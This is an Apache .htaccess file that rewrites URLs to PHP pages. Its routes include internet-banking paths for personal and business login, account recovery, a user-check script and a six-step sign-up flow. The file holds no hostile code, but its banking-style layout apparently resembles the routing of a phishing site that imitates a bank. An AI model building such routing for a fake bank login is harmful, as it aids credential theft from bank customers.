RewriteEngine On
RewriteBase /

# ✅ Auto-load .php files (works for /admin → admin.php)
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.+?)/?$ $1.php [L,QSA]

# ✅ Explicit routes (fix syntax)
RewriteRule ^en/join/account-option$ join/index.php [L]
RewriteRule ^en/Personal/login$ en/personal_login.php [L]
RewriteRule ^en/Business/login$ en/business_login.php [L]
RewriteRule ^en/Personal/Forget_info$ en/recovery.php [L]
RewriteRule ^ibanking/login$ index.php [L]
RewriteRule ^secure/checking$ _inc/_chec_user.php [L]
RewriteRule ^en/Personal/join$ join/index.php [L]
RewriteRule ^forgot/password-recovery$ forgot/index.php [L]

# ✅ Multi-step routes
RewriteRule ^en/join/uopen/originate_submitWelcome_step/([1-6])$ join/uopen/originate_submitWelcome.php?node=$1 [L,QSA]

# ✅ Error pages (ensure these files exist!)
ErrorDocument 400 /400.php
ErrorDocument 401 /401.php
ErrorDocument 403 /403.php
ErrorDocument 404 /404.php
ErrorDocument 500 /500.php

# ✅ Default index
DirectoryIndex index.php